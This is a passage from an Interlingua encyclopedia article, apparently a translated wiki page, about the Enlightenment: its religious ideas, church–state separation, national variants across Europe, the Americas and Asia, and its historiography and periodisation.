primitive e un credentia in Deo non necessitava theoricamente fortia pro mantener ordine inter le credentes suo, e tanto Mendelssohn como Spinoza judicava le religion sur le fructos moral suo, non le logica de le theologia suo.\nIdeas diverse nove de religion e Deo habe emergite con le Illuminismo, includente deismo e discussion de atheismo. Secundo Thomas Paine, deismo esse le credentia simple in Deo le Creator sin referentia al Biblia o ulle altere fonte miraculose. Al contrario, le deisto se basa sur ration personal pro guidar le credo sue, que esseva eminentemente acceptabile pro multe pensatores de ille tempore. Atheismo esseva multo discutite, ma il habeva pauco defensores. Wilson e Reill notava: \"De facto, paucissime intellectuales illuminate, etiam quando illes esseva criticos vocal del Christianismo, esseva atheos. Multo plus, illes esseva criticos del credo medieval, affin al scepticismo, deismo, vitalismo, o forsan pantheismo.\" Alcunos sequeva Pierre Bayle e argumentava que atheos poteva esser homines moral. Multe alteres como Voltaire affirmava que sin credentia in un Deo qui puni mal, le ordine moral del societate esseva subvertite; isto esse, visto que atheos se dedica a nulli autoritate supreme e nulli lege, e non habe pavor de consequentias eterne, illes esseva multo plus probabile de disturbar le humanitate. Bayle observava que, in le epocha sue, \"personas prudente sempre va mantener un apparentia de [religion],\" e ille credeva que mesmo atheos poteva haber conceptos de honore e ultrapassar le interesse personal pro producer e interager in societate. Locke diceva que si il non habeva Deo e lege divine, le resultato esserea anarchia moral: cata individual \"non haberea lege excepte le voluntate sue, non haberea scopo excepte ille mesme. Ille esserea un deo pro se mesme, e le satisfaction del voluntate sue le sol mesura e scopo de tote le actiones sue.\"\nSeparation de Ecclesias e StatoModificar\nLe Illuminismo Radical promovava le concepto de separar le ecclesias e le stato, un idea que es frequentemente attribuite a Locke. Secundo le principio sue del contracto social, Locke diceva que le governo mancava de autoritate in le ambito del conscientia individual, como isto esseva un cosa que le personas rational non poteva ceder al governo pro esser controlate per illo o per alteres. Pro Locke, isto creava un derecto natural al libertate del conscientia que debe dunque remaner separate del autoritate secular.\nIste opiniones sur le tolerentia religiose e le importantia del conscientia individual, con le contracto social, deveniva particularmente influente in le colonias nordamerican e in le redaction del Constitution del Statos Unite. In un epistola al Association Baptist de Danbury in Connecticut, Thomas Jefferson demandava pro un muro de separation inter ecclesias e stato al nivello federal. Ille anteriomente habeva supportate effortios succedite pro abolir le Ecclesia Anglican in Virginia e scribite le Statuto de Virginia pro le Libertate del Religion. Le ideales politic de Jefferson esseva multo influente per le scriptos de Locke, Bacon e Newton, que ille considerava le tres homines le plus grande qui jam habeva vivate.\nVariationes NationalModificar\nLe Illuminismo se extendeva in le majoritate del paises europee e influentiava nationes globalmente, frequentemente con un emphase local specific. Pro exemplo, in Francia illo deveniva associate con radicalismo antimonarchistic, antifeudal, e anticatholic, durante que in Germania illo penetrava profunde in le classes medie, ubi illo exprimeva un tono mystic e tribal sin menaciar governos o ecclesias stabilite. Le responsas governamental variava multo. In Francia, le governo se opposeva e le philosophos luctava contra le censura suo, essente incarcerate o persequite a exilio. Le governo grandbritannic, in general, ignorava le lidatores del Illuminismo in Anglaterra, Galles, e Scotia, ben que donava a Newton un titulo de cavalliero e un officio guvernamental multo importante.\nUn thema commun inter le majoritate de paises que derivava ideas del Illuminismo europee esseva le exclusion intentional de philosophias illuministic pertinente al sclavitude. Originalmente, durante le Revolution Francese, un revolution profunde inspirate per le philosophia illuministic, \"le governo revolutionari francese habeva denunciate le sclavitude, ma le revolutionarios detentores de proprietate se recordava del contos bancari lore.\" Le sclavitate frequentemente monstrava le limites del ideologia iluministic in relation al colonialismo europee, ja que multe colonias de Europa e Grande-Brittania functionava sur un economia de plantages alimentate per labor sclav. In 1791, le Revolution Haitian, un rebellion de sclavos emancipate contra le dominio colonial francese in le colonia de Saint-Domingue, errupteva. Nationes europee, Grande-Britannia, e le Statos Unite, nonobstante le forte supporto al idealos iluministic, refusava a dar supporto al lucta pro liberation de Saint-Domingue.\nGrande-BritanniaModificar\nAngleterraModificar\nLe existentia mesme de un Illuminismo anglese ha essite vehemente disputate per intellectualos. Le majoritate de libros de texto sur le historia grandebritannic face pauco o nulle mention de un Illuminismo anglese. Alcun studios del Illuminismo include Angleterra e alcunes lo-ignore, ben que illos include un copertura de tal intellectualos importante como Joseph Addison, Edward Gibbon, John Locke, Isaac Newton, Alexander Pope, Joshua Reynolds, e Jonathan Swift. Pensero libre, un termino que describe illes qui stava in opposition al institution del ecclesias e creditentia literal del Biblia, pote esser dicite haber comenciate in Angleterra non plus tarde que 1713, quando Anthony Collins scribeva su \"Discurso sur le Pensar Libre\", que obteneva un popularitate substantial. Iste essayo attaccava le clero de omne ecclesias e esseva un petition pro deismo.\nRoy Porter argueva que le rationes pro iste ignorantia esseva le suppositiones que le movimento esseva inspirate principalmente per Francia, que esseva multo antireligiose o antiecclesiastic, e in opposition apert con le ordine stabilite. Post le annos 1720, le Angleses poteva contender con pensatores como Diderot, Voltaire, o Rousseau. Tamen, le pensatores anglese plus importante como Gibbon, Edmund Burke, e Samuel Johnson esseva multo conservative e supportava le ordine stabilite. Porter dice que le ration esseva que le Illuminismo habeva venite al Angleses multo plus tosto e habeva succedite, tal que le cultura habeva acceptate liberalismo politic partial, empiricismo philosophic, e toleration religiose partial, positiones pro lo quales le intellectualos in Europa debeva luctar contra obstacoles fortissime. In plus, le Angleses rejectava le collectivismo europee e emphasava le melioration del individuos como le objectivo principal del Illuminismo.\nScotiaModificar\nDurante le Illuminismo scotic, le principios de sociabilitate, equalitate, e utilitate se extendeva in scholas e universitates, multe del quales usava methodas sophisticate de education que combinava philosophia con le vita quotidiana. Le citates scotic major creava un infrastructura intellectual de institutiones mutualmente supportante como scholas, universitates, societates de lectura, bibliothecas, periodicos, museos, e logias masonistic. Le rete scotic esseva predominantemente liberal, calvinistic, newtonian, e orientate a sophistication, que jocava un rol grande in le avantia del Illuminismo transatlantic. In Francia, Voltaire diceva \"Nos reguarda a Scotia pro omne le ideas nostre de civilisation.\" Le focus del Illuminismo scotic variava ab le aspectos intellectual e economic a illos specificamente scientific como in le labor de William Cullen, medic e chimico; James Anderson, agronomo; Joseph Black, chimico e physicisto; e James Hutton, le prime geologo modern.\nColonias NordamericanModificar\nPlure Nordamericanos, particularmente Benjamin Franklin e Thomas Jefferson, jocava un rolo importante in propagar le ideas del Illuminismo in le Nove-Mundo e in influentiar pensatores grandbritannic e europee. Franklin esseva influentiose pro le activismo sue politic e pro le avantias sue in physica. Le scambio cultural durante le Etate del Illuminismo discurreva in ambe directiones transatlantic. Pensatores como Paine, Locke, e Rousseau prendeva le practicas cultural del Nordamericanos Native como exemplos de libertate natural. Le Nordamericanos anglese sequeva de presso le ideas politic del Angleses e Scoteses, como etiam de certe pensatores europee como Montesquieu. Como deistas, illes esseva influentiate per le ideas de John Toland e Matthew Tindal. Illes habeva un emphase grande sur libertate, republicanismo e tolerantia religiose. Illes non habeva respecto pro monarchia o poter politic hereditari. Le deistos reconciliava scientia e religion per le rejection lore de prophetias, miraculos, e theologia litteralistic. Le deistos prominente includeva Thomas Paine in le libro sue \"Le etate del ration\" e Thomas Jefferson in su breve \"Biblia de Jefferson\", de lo qual ille removeva tote aspectos supernatural.\nStatos GermanModificar\nPrussia predeva le guidantia inter le statos german in fomentar le reformas politic que le pensatores del Illuminismo urgiava que le monarchos absolute adopta. Il habeva movimentos importante etiam in le statos parve de Bavaria, Saxonia, Hanover, e le Palatinato. In omne casos, le valoros del Illuminismo deveniva acceptate e conduciava a reformas politic e administrative significante que preparava le fundamento pro le creation de statos moderne. Le principes de Saxonia, per exemplo, realisava un serie impressionante de reformas fundamental fiscal, administrative, judicial, educational, cultural, e economic. Le reformas esseva adjutate per le structura urban fortissime del pais e le gruppos commercial influente, e modernisava le Saxonia pre-1789 secundo principios classic del Illuminismo.\nAnte 1750, le classes superior german cercava in Francia le direction intellectual, cultural, e architectural, proque le lingua francese esseva le lingua del societate alte. Ma per le medio del seculo 18, le Illuminismo transformava le cultura erudite german in musica, philosophia, scientia, e litteratura. Christian Wolff esseva le scribitor qui explicava le idees del Illuminismo al lectores german e legitmava le lingua german como lingua philosophic.\nJohann Gottfried von Herder inaugurava un via nove in philosophia e poesia, como un lidator del movimento Sturm und Drang de protoromanticismo. Weimarer Klassik (Classicismo de Weimar) esseva un movimento cultural e literari basate in Weimar que cercava establir un humanismo nove per combinar ideas romantic, classic, e illuministic. Le movimento (de 1772 usque a 1805) involveva Herder, le polymath Johann Wolfgang von Goethe, e Friedrich Schiller, un poeto e historicisto. Herder argueva que cata gruppo de homines habeva le identitate lore proprie particular, que esseva exprimite in le lingua e cultura lore. Isto legitimisava le promotion del lingua e cultura german e adjuvava a formar le evolution del nationalismo, tribalismo, e militarismo german. Le arte de Schiller exprimeva le spirito agitate del generation e tribo sue, depictente le lucta del heroe contra pressiones social e le fortia del destino.\nLe musica german, supportate per le classes alte, veniva a un nivello culminante sub le compositores Johann Sebastian Bach, Joseph Haydn, e Wolfgang Amadeus Mozart.\nIn Königsberg, Kant essayava conciliar rationalismo e convictiones religiose, libertate individual e autoritate politic. Le obras de Kant contineva tensiones basic que continueva a formar le pensamento german, e tote le philosophia europee, ben in le seculo 20. Le Illuminsimo german ganiava le supporto de principes, aristocratos, e le classes medie, e reformava permanentemente le cultura. Tamen, il habeva un conservatismo inter le elites que avertiva contra le ultrapassar de limites.\nIn le annos 1780, le ministros lutheran Johann Heinrich Schulz e Karl Wilhelm Brumbey commencer a haber problemos con le sermones lore, quando illes esseva attaccate e ridiculisate per Kant, Wilhelm Abraham Teller, e altere. In 1788, Prussia publicava un \"Edicto sur Religion\" que prohibeva predicar sermones que subminava le credentia popular in le Trinitate Sancta e le Biblia. Le objectivo esseva evitar scepticismo, deismo, e controversias theologic que poteva compromitter le tranquillitate domestic. Homines que dubitava le valore del Illuminismo favorava le mesura, ma tamben multe supportatores pseudoliberal. Le universitates german habeva create un elite clause que poteva debatter questiones controverse inter se, ma propagar-los al publico esseva vidite como troppo periculose. Iste elite intellectual esseva favorisate per le stato, ma isto poteva esser inversate si le processo del Illuminismo se revelava politic o socialmente destabilisante.\nMonarchia HabsburgModificar\nLe regno de Maria Theresa, le prime monarcha de Habsburg qui esseva considerate influentiate per le Illuminismo in alcun areas, esseva marcate per un mixtura de Illuminismo e conservatismo. Le regno breve de le filio sua Joseph II esseva marcate per iste conflicto, con le ideologia sue de Josephinismo confrontante opposition. Le imperator Leopold II, qui esseva un adversario primari del pena capital, habeva un regno brevi e controversate qui esseva primarimente marcate per relationes con Francia. Similarmente, le regno de imperator Francis II esseva primarimente marcate per relationes con Francia.\nItaliaModificar\nIn Italia, le centros principal de diffusion del Illuminismo esseva Napoli e Milano: in ambes citates le intellectualos obteneva cargos public e collaborava con le administrationes Bourbon e Habsburg. In Napoli, Antonio Genovesi, Ferdinando Galiani, e Gaetano Filangieri esseva active sub le rege tolerante Charles de Bourbon. Tamen, le Illuminismo neapolitan, como le philosophia de Vico, remaneva quasi sempre in le campo theoretic. Solo plus tarde multe \"illuminati\" animava le experientia infelice del Republica Parthenopean. In Milano, le movimento cercava trovar solutiones concrete a problemas. Le centro de discussiones esseva le revista \"Il Caffè\" (1762-1766), fundate per le fratres Pietro e Alessandro Verri (philosophos e scriptoros famose, como le fratre lore Giovanni), qui etiam fundava le Academia dei Pugni in 1761. Centros minor esseva Toscana, Veneto, e Piemonte, ubi, inter alteres, Pompeo Neri laborava.\nDe Naples, Genovesi influentiava un generation de intellectualos e studentos universitari del sud de Italia. Le libro sue de texto Della Diceosina, o sia della Filosofia del Giusto e dell'Onesto (1766) esseva un tentativa controversate de mediar inter le historia de philosophia moral in un latere e le problemas specific que le societate commercial del seculo 18 incontrava in un altere. Illo conteneva le majoritate del pensamento politic, philosophic, e economic de Genovesi, que deveniva un manual pro le developpamento economic e social napolitano.\nLe scientia floresceva, durante Alessandro Volta e Luigi Galvani faceva discopertas innovative in electricitate. Pietro Verri esseva un economist eminent in Lombardia. Le historico Joseph Schumpeter diceva que ille esseva \"le plus importante autoritate pre-Smithian in materia de efficientia e prosperitate.\" Le scholasticos le plus influente in le Illuminismo italian esseva Franco Venturi. Italia anque produceva alcunos del theoricos legal le plus importante del Epocha de Illuminismo, inter illos Beccaria, Giambattista Vico, e Francesco Mario Pagano.\nEspania e America EspanolModificar\nQuando Carlos II, le ultime monarcho Habsburg de Espania, moriva in 1700, illo causava un conflicto europee grande sur le succession e le sorte de Espania e del Imperio Espanol. Le Guerra del Succession Espanol (1700-1715) portava le principe Bourbon Philippo, Duce de Anjou, al throne de Espania como Philippo V. Sub le Tractato de Utrecht de 1715, le Bourbones francese e espaniol non poteva unir-se, con Philippo renunciante a omne derectos sur le throne francese. Nonobstante, iste restriction politic non preveniva le influentia forte de Francia de Epocha del Illuminismo sur Espania, le monarchos espaniol, e le Imperio Espanol. Philippo entrava in le poter effective in 1715 e comenciava a implementar reformas administrative pro cercar de prevenir le declino del Imperio Espanol.\nSub Carlos III, le corona comenciava a implementar cambios structural seriose, generalmente cognoscite como le Reformas Bourbonicas. Le corona restricteva le poter del Ecclesia Catholic e del clero, establiva un militia permanente in America Espanol, creava vicariatos nove e reorganisava districtos administrative in intendentias. Le commercio esseva promovite per le comercio libere, in lo qual regiones poteva commerciar con companias que navigava a partir de ulle altere porto espaniol, in loco del systema mercantile restrictive. Le corona inviava expeditiones scientific pro affirmar le soveranitate espaniol sur territorios que illo pretendeva ma non controllava, que esseva tamben importante pro discoperir le potential economic del imperio suo ultra mar. Expeditiones botanic cercava plantas que poteva esser utile pro le imperio.\nUn del gestos melior de Carlos IV, un monarcho non notabile pro le judicio bon sue, esseva dar libertate al scientisto prussian Alexander von Humboldt pro viagiar e colliger informationes sur le Imperio Espanol in le expedition sue autofinantiate de cinque annos. Functionarios del corona esseva obligate a adjutar Humboldt de omne modo possibile, permittente a ille acceder a informationes experte. Date que le imperio espanol esseva clauso a extraneos, le accesso libere de Humboldt esseva bastante notabile. Les observationes sue del Nove-Espania, publicate como le Essayo Politic sur le Regno de Nove-Espania, remane un texto importante scientific e historic.\nQuando Napoleon invadiva Espania in 1808, Ferdinand VII abdicava e Napoleon poneva le fratre sue Joseph Bonaparte sur le throne. Pro adder legitimitate a iste movimento, le Constitution de Bayonne esseva promulgate, que includeva representation del componentes ultramarine de Espania, ma le majoritate de espanioles rejectava tote le projecto napoleonic. Un guerra de resistentia national erupteva. Le Cortes de Cádiz (parlamento) esseva convocate pro reger Espania in absentia del monarcho legitime, Ferdinand. Isto creava un nove documento de governar, le Constitution de 1812, que definiva tres brancias de governamento: executive, legislative, e judicial; limitava le poter del rege per crear un monarchia constitutional; definiva le citatinos como illes del Imperio Espaniol sin ascendentia african; establiva le suffragio universal mascline; et establiava le education public que comenciava con le schola primari usque al universitate e etiam libertate de expression. Le constitution esseva in vigore inter 1812 e 1814, quando Napoleon esseva vincite e Ferdinand esseva restabilite al throne de Espania. Al le retorno sue, Ferdinand repudiava le constitution e reestabiliva le governo absolutistic.\nHaitiModificar\nLe Revolution Haitiana comenciava in 1791 e terminava in 1804 e monstrava como le ideas del Illuminismo \"faceva parte de fluxos transculturales complexe.\" Ideas radical in Paris durante e post le Revolution Francese esseva mobilisate in Haiti, como per Toussaint L'Ouverture. Toussaint habeva legite le critica del colonialismo europee in le libro de Guillaume Thomas Raynal, Histoire des deux Indes, e \"habeva essite particularmente impressionate per le prediction de Raynal del advento de un 'Spartaco negre.'\"\nLe revolution combinava ideas del Illuminismo con le experientias del sclavos in Haiti, duo tertias del quales habeva essite nascite in Africa e poteva \"invocar notiones specific de regno e de governamento justo de Africa Occidental e Central, e usar practicas religiose tal como vodoo pro le formation de communitates revolutionari.\" Le revolution anque affectava Francia e \"fortiava le Convention National francese a abolir le sclavitude in 1794\".\nPortugalModificar\nLe Illuminismo in Portugal esseva marcate per le governo del Prime Ministro Marquis de Pombal sub le rege Joseph I del 1756 al 1777. Post le terremoto de Lisbona del 1755 que ha destruite un parte grande de Lisbona, le Marquis de Pombal implementava politicas economic importante pro regular le activitate commercial (particularmente con Brasil e Grande-Brittania) e standardisar le qualitate in tote le pais (per exemplo, introducente le prime industrias integrate in Portugal). Le reconstruction sue del districto fluvial de Lisbona con stratas directe e perpendicular, methodicamente organisate pro facilitar le commercio e le schambio (per exemplo, assignante a cata strata un differente producto o servicio), pote esser considerate como un application directe del ideas del Illuminismo al governamento e urbanismo. Le ideas sue urbanistic, essente etiam le prime exemplo grande de ingenieria antiseismal, esseva cognoscite collective como Stilo Pombaline, e esseva implementate in tote le regno durante le mandato sue. Le governo sue esseva tanto illuminante como frigorose, le affaire Távora per exemplo.\nIn litteratura, le prime ideas del Illuminismo in Portugal pote esser traciate al diplomate, philosopho e scriptor António Vieira qui passava un considerabile quantitate de le vita sue in Brasil colonial denunciante discriminationes contra le Nove Cristianos e le populos indigenose in Brasil. Durante le seculo 18, movimentos litterari illuministic como le Arcádia Lusitana (qui durava de 1756 usque 1776, postea substituite per le Nova Arcádia de 1790 usque 1794) appariva in le ambiente academic, involvente particularmente ex-studentes del Universitate de Coimbra. Un membro distincte de iste gruppo esseva le poeto Manuel Maria Barbosa du Bocage. Le medico António Nunes Ribeiro Sanches anque esseva un figura importante del Illuminismo, contribuente al Encyclopédie e essente parte del corte russo. Le ideas del Illuminismo influentia divers economistas e intellectualos anticolonial in omne partes del Imperio Portugese, como José de Azeredo Coutinho, José da Silva Lisboa, Cláudio Manoel da Costa, e Tomás Antônio Gonzaga.\nLe invasion napoleonic de Portugal habeva consequentias pro le monarchia portugese. Con le adjuta del marina grandbritannic, le familia regal portugese evacuava a Brasil, le colonia lore le plus importante. E ben que Napoleon habeva essite vincite, le corte regal remaneva in Brasil. Le Revolution Liberal de 1820 imponeva le retorno del familia regal a Portugal. Le conditiones secundo lo quales le rege restabiliva le governo sue esseva un monarchia constitutional secundo le Constitution de Portugal. Brasil declarava le independentia suo de Portugal in 1822 e deveniva un monarchia.\nRussiaModificar\nIn Russia, le governo comenciava a incoragiar activemente le proliferation del arte e scientias a medio del 18e seculo. Iste epocha produciva le prime universitates, bibliothecas, theatros, museos public, e jornales independente in Russia. Como altere monarchos illuminate, Caterina le Grande jocava un rolo clave in promover le arte, scientias e education. Ista se basava in le interpretation sua proprie del ideales del Illuminismo, assistite per expertos international eminente como Voltaire (per correspondentia) e scientistos de classe mundial como Leonhard Euler e Peter Simon Pallas. Le Illuminismo russe differiva de le analogos suo in le West, promovente modernisation de omne aspectos del vita russe e preoccupante-se de attaccar le institution de servitude feudal in Russia. Le Illuminismo russe se centrava sur le individuo in vice de illuminar le societate, e promoveva un vita illuminate. Un elemento potente esseva prosveshchenie, que combinava pietate religiose, erudition, e un commitmento al propagation del apprendimento. Tamen, illo mancava del spirito sceptic e critic del Illuminismo westic.\nPoloniaModificar\nLe ideas del Illuminismo (oświecenie) emergiva tardeva in Polonia, proque le classe medie polonese esseva plus debile e le cultura nobiliari (Sarmatism) del szlachta (nobilitate) insimulate con le systema politic del Commonwealth Polono-Lithuanian (Libertate Auree) esseva in crise profunde. Le systema politic se fundava super republicanismo aristocratic, ma esseva incapace de defender-se contra vicinos potente como Russia, Prussia, e Austria, que repetitevamente conquireva regiones usque il habeva nulle restos de Polonia independente. Le periodo del Illuminismo polonese, comenciante in le annos 1730-1740, specialmente in theatro e artes, attingeva le climax suo sub le regno del rege Stanisław August Poniatowski (secunde parte del seculo 18).\nVarsavia esseva un centro principal del Illuminismo post 1750, con un expansion de scholas e institutiones educational, e patronages artistic tenite al Palatio Regal. Le lidatores promoveva tolerentia e plus education. Illes includeva le rege Stanislaw II August, e reformatores Piotr Switkowski, Antoni Poplawski, Josef Niemcewicz, e Jósef Pawlinkowski, assi como Baudouin de Cortenay, un dramaturgo polonisate. Oppositores includeva Florian Jaroszewicz, Gracjan Piotrowski, Karol Wyrwicz, e Wojciech Skarszewski. Le movimento declinava con le Tertie Partition de Polonia (1795) - un tragedia national que inspirava un periodo breve de scriptura sentimental - e terminava in 1822, reimplaciate per Romanticismo.\nChinaModificar\nLe China del seculo 18 experientiava \"un tendentia a vider minus dragones e miraculos, simile al disincantamento que comenciava a diffunder-se trans le Europa del Illuminismo. In plus, \"alcun del developpamentos que nos associava con le Illuminismo europee resemblava eventos in China in modo remarcabile. Durante iste epocha, le ideales del societate chinese se reflecteva in \"le regno del imperatores Qing Kangxi e Qianlong; China esseva posita como le incarnation de un societate illuminate e meritocratic - e usate pro criticismos de regno absolutiste in Europa.\"\nJaponModificar\nAb 1641 usque a 1853, le shogunato Tokugawa de Japon applicava un politica nominate kaikin. Le politica prohibiva contactos externe con le majoritate de paises estranie. Robert Bellah trovava \"origines del Japon moderne in certe philosophias confucian, un 'analog functional al ethica protestant' que Max Weber specificava como le fortia que dirigeva le capitalismo westic.\" Idees confucian de Japon e idees del Illuminismo esseva unite, per exemplo, in le labor del reformator japonese Tsuda Mamichi in le annos 1870, qui diceva, \"Semper quando nos aperi le buccas nostre, nos parla de illuminismo.\"\nIn Japan e in grande parte de Asia oriental, le ideas confucian non esseva substituite sed \"le ideas associate con le Illuminsimo esseva fusate con le cosmologia existente, que esseva reformate sub conditiones de interaction global.\" In particular, in Japan, le termino \"ri\", que esse le idea confucian de \"ordine e harmonia in le societate human\" deveniva un representation del \"idea del laissez-faire e del rationalitate del intercambio commercial.\" Per le annos 1880, le slogan \"Civilisation e Illuminismo\" deveniva potente in omne le Japon, China e Corea e esseva usate pro confrontar le interpellationes del globalisation.\nCoreaModificar\nDurante iste periodo, Korea esseva isolationiste e esseva cognoscite como le regno eremitic, ma apprendeva de ideas de Illuminismo al fin del seculo 19 con le activitates del Club de Independentia. Corea esseva influentiate per China e Japan, ma anque trovava le curso suo mesme de Illuminismo con le intellectualo corean Yu Kilchun qui popularisava le termino Illuminismo in tote Corea. Le uso de ideas del Illuminismo esseva \"un responsa a un situation specific in Corea al fin del seculo 19, e non un replica lente a Voltaire.\"\nIndiaModificar\nIn le India del seculo 18, Tipu Sultan esseva un monarcho illuminate, qui \"esseva un del membros fundante del Club Jacobin (francese) in Seringapatam, plantava un arbor de libertate, e requestava esser adresate como 'Tipu Citoyen,' lo que significava Citatano Tipu.\" In partes del India, un movimento importante nominate le \"Bengal Renaissance\" conduceva a reformas illuministe que comenciava in le annos 1820. Ram Mohan Roy esseva un reformator qui \"combinava differente traditiones in le projecto sue de reforma social que le-faceva un proponente de un religion de ration.\"\nEgyptoModificar\nLe Egypto del seculo 18 habeva \"un forma de renascentia cultural de modernisation de origines islamic ante le campania de Napoleon in Egypto.\" Le campania de Napoleon in Egypto incoragiava ulteriormente \"transformationes social que rememorava al debattos sur le reforma, ma que nunc etiam esseva legitimisate per referentia al autoritate del Illuminismo.\" Un influentia intellectual importante sur le modernismo islamic e le expansion del Illuminismo in Egypto, Rifa al-Tahtawi \"supervisava le publication de centos de obras europee in le lingua arabe.\"\nImperio OttomanModificar\nLe Illuminismo comenciava a influentiar le Imperio Ottoman in le annos 1830 e continuava usque al fin del seculo 19. Le Tanzimat esseva un periodo de reforma in le Imperio Ottoman que comenciava con le Gülhane Hatt-ı Şerif in 1839 e finiva con le Prime Era Constitutional in 1876.\nNamik Kemal, un activisto politic e membro del Ottomanos Juvene, usava pensatores importante del Illuminismo e \"un varietate de recursos intellectual in le tentativa sue pro reformas social e politic.\" In 1893, Kemal replicava a Ernest Renan, qui insultava le religion islamic, con le version sue proprie del Illuminismo, que \"non esseva un copia povre del debattos francese del seculo 18, ma un position original que respondava al exigentias del societate ottoman al fin del seculo 19.\"\nHistoriographiaModificar\nLe Illuminismo sempre ha essite un territorio contestate. Secundo Keith Thomas, le supportatores suo \"lo-considera como le fonte de tote lo que esse progressive in le mundo moderne. Pro illes, illo representa libertate de pensamento, interrogatorio rational, pensamento critic, toleration religiose, libertate politic, successos scientific, le pursuita del felicitate, e sperantia pro le futuro.\" Thomas adde que le detractores suo lo-accusa de rationalismo superficial, optimismo naiv, universalismo unrealistic, e obscuritate moral. Ab le initio, le campiones conservative del religion traditional attacca materialismo e scepticismo como fortias mal que promove immoralitate. In 1794, illes punctava al Regno de Terror durante le Revolution Francese como confirmation del predictiones lore.\nQuando le Epocha del Illuminismo finiva, philosophos conservative e tribale argueva que un dependentia excessive sur le ration esseva un error perpetuate per le Illuminismo, proque illo ignorava le ligamines de historia, mytho, ignorantia, e tradition que esseva necessari pro mantener le societate. Ritchie Robertson lo-describe como un programma grande intellectual e politic, offerente un scientia del societate modellate sur le leges physic de Newton. Le scientia social esseva considerate como le instrumento del melioration human. Illo exposeva veritate e expandeva le felicitate human.\nDefinitionModificar\nLe termino \"Illuminismo\" emergeva in Anglese al fin del seculo 19, con referentia particular al philosophia francese, como le equivalente del termino francese Lumières (usate prime tempore per Jean-Baptiste Dubos in 1733 e ja ben establite per 1751). Desde le essayo de Kant de 1784 \"Beantwortung der Frage: Was ist Aufklärung?\" (\"Responsa al question: Que esse le Illuminismo?\"), le termino german deveniva aufklärung (illuminar, clarificar). Tamen, historicos nunquam concordava sur un definition del Illuminismo o le extension suo chronologic o geographic. Terminos como les Lumières (francese), illuminismo (italiano), ilustración (Espaniol) e Aufklärung (german) refereva a movimentos partialmente superposante. Non usque al fin del seculo 19 concordava historicos anglese que illes parlava del \"Illuminismo.\"\nLe historiographia del Illuminismo comenciava in le periodo mesme, de lo que diceva le figuras del Illuminsimo sur le travalio lore. Un elemento dominante esseva le perspective intellectual que illes adoptava. Le discourso preliminar de l'Encyclopédie de Jean le Rond d'Alembert offereva un historia del Illuminismo que consiste in un lista chronologic de revelationes nove in le cognoscentia - de lo qual l'Encyclopédie constitueva le apice. In 1783, Mendelssohn se referiva al Illuminismo como un processo in lo qual le homine esseva educate in le uso del ration. Kant lo-appellava le \"emancipation del homine del tutela sue autoimponite,\" le tutela essente le \"incapacitate del homine de usar le ration sue sin direction ab altere.\" \"Pro Kant, le Illuminismo esseva le maturitate final del homine, le emancipation del conscientia human de un stato immaturo de ignorantia.\" Le intellectualo german Ernst Cassirer lo-appellava \"un parte e un phase special de ille evolution intellectual per lo qual le pensiero philosophic moderne prendeva le autoconfidentia e autoconscientia suo.\" Secundo le historico Roy Porter, le liberation del mente human de un stato de ignorantia esse le apice del que le Epocha del Illuminismo essayava attinger.\nBertrand Russell presentava le Illuminismo como un phase in un developpamento progressive que comenciava in le Antiquitate proque ration e defia al ordine stabilite esseva ideales durante ille tempore. Russell diceva que le Illuminismo nasceva finalmente del reaction protestante contra le contrareformation e que perspectivas philosophic, como affinitate pro democratia contra monarchia, originava inter le Lutheranos del seculo 16 pro justificar le desiro lore de separar-se del Ecclesia Catholic. Ben que multe de iste ideales philosophic esseva assumite per Catholicos, Russell argueva que in le seculo 18, le Illuminismo, un movimento francese e scotic, esseva le manifestation principal del schisma que comenciava con Martin Luther.\nJonathan Israel rejecta le tentativas de historicos postmoderniste e marxiste pro presentar le ideas revolutionari del periodo como productos del transformationes social e economic. Ille se concentra sur le historia del ideas in le periodo de 1650 usque al fin del seculo 18, e argue que il esseva le ideas nove que causava le cambio que eventualmente conduceva al revolutiones del secunde medietate del seculo 18 e del initio del seculo 19. Israel argue que usque al annos 1650 le civilisation occidental \"se basava sur un centro largemente commun de fide, tradition, e autoritate.\"\nEpochaModificar\nIl non ha multe consensus sur le initio precise del Epocha del Illuminismo, ben que multe historicos e philosophos argue que illo esseva marcate per le philosophia del Cogito Ergo Sum de Descartes de 1637, que cambiava le base epistemologic del autoritate externe al certitudo interne. In Francia, multos cita le publication del Principia Mathematica de Newton de 1687, que construeva sur le obras de scientistos precedente e formulava le lege del motion e gravitation universal. Le medio del seculo 17 (1650) o le initio del seculo 18 (1701) es sovente usate como epochas. Historicos francese generalmente pon le Seculo del Illuminismo inter 1715 e 1789: ab le initio del regno de Ludovic XV usque al Revolution francese. Le majoritate del intellectualos usa le ultime annos del seculo, sovente elige le Revolution francese o le initio del guerras napoleonic (1804) como puncto de tempore conveniente pro datar le fin del Epocha del Illuminismo.\nIn annos recente, intellectualos ha expandite le periodo de tempore e le perspectiva global del Illuminismo per examinar: (1) como intellectualos europee non laborava solmente e altere personas adjutava a extender e adaptar ideas del Illuminismo, (2) como ideas del Illuminismo esseva \"un responsa al interactiones transfrontier e integration global\", e (3) como le Illuminismo \"continuava durante le seculo 19 e ultra.\" Le Illuminismo \"non esseva simplemente un historia de diffusion,\" ma \"esseva le labor de actoros historic in tote le mundo... qui invocava le termino... per le scopos specific lore proprie.\"\nStudio ModerneModificar\nIn le libro de 1947 \"Dialectica del Illuminismo\", le philosophos del Schola de Frankfurt Max Horkheimer e Theodor W. Adorno argue:\nIlluminismo, comprendite in le senso le plus large como le avantiamento del pensamento, semper ha habite como scopo liberar le esser human del timor e establir-les como dominatores. Tamen, le mundo totemente illuminate radiava sub le signo del triumpho del disastro.\nExtendente le argumento de Horkheimer e Adorno, le historico intellectual Jason Josephson Storm argue que omne ideas del Epocha del Illuminismo como periodo ben definite que se distingue del Renascentia antecessor e del Contrailluminismo subsequente constitue un mytho. Storm nota que il ha periodisationes vastemente differente e mutualmente contradictorie del Epocha del Illuminismo, dependente de nation, area de studio, e scola de pensamento; que le termino e categoria del \"Illuminismo\" que refere al Revolution Scientific esseva in facto applicate post facto; que le Illuminismo non videva un crescer in disencantamento o le dominio del perspectiva mechanistic; e que un confusion in le idees del humanitates e del scientias natural faceva illo difficile a circumscriber un Revolution Scientific. Storm guarda le categorisation sue del Illuminismo como \"mytho\" notante le rolo regulative que le ideas de un periodo del Illuminismo e disincantmento joca in le cultura westic moderne, tal que le studio del spiritualismo e religion pare un tabu in le classes intellectual.\nIn le annos 1970, le studio del Illuminismo se expandeva pro includer le modos in que le ideas del Illuminismo se propagava a colonias europee e como illos interageva con cultures autochthone e como le Illuminismo se produceva in areas anticamente non studiate, como Italia, Grecia, le Balcanes, Polonia, 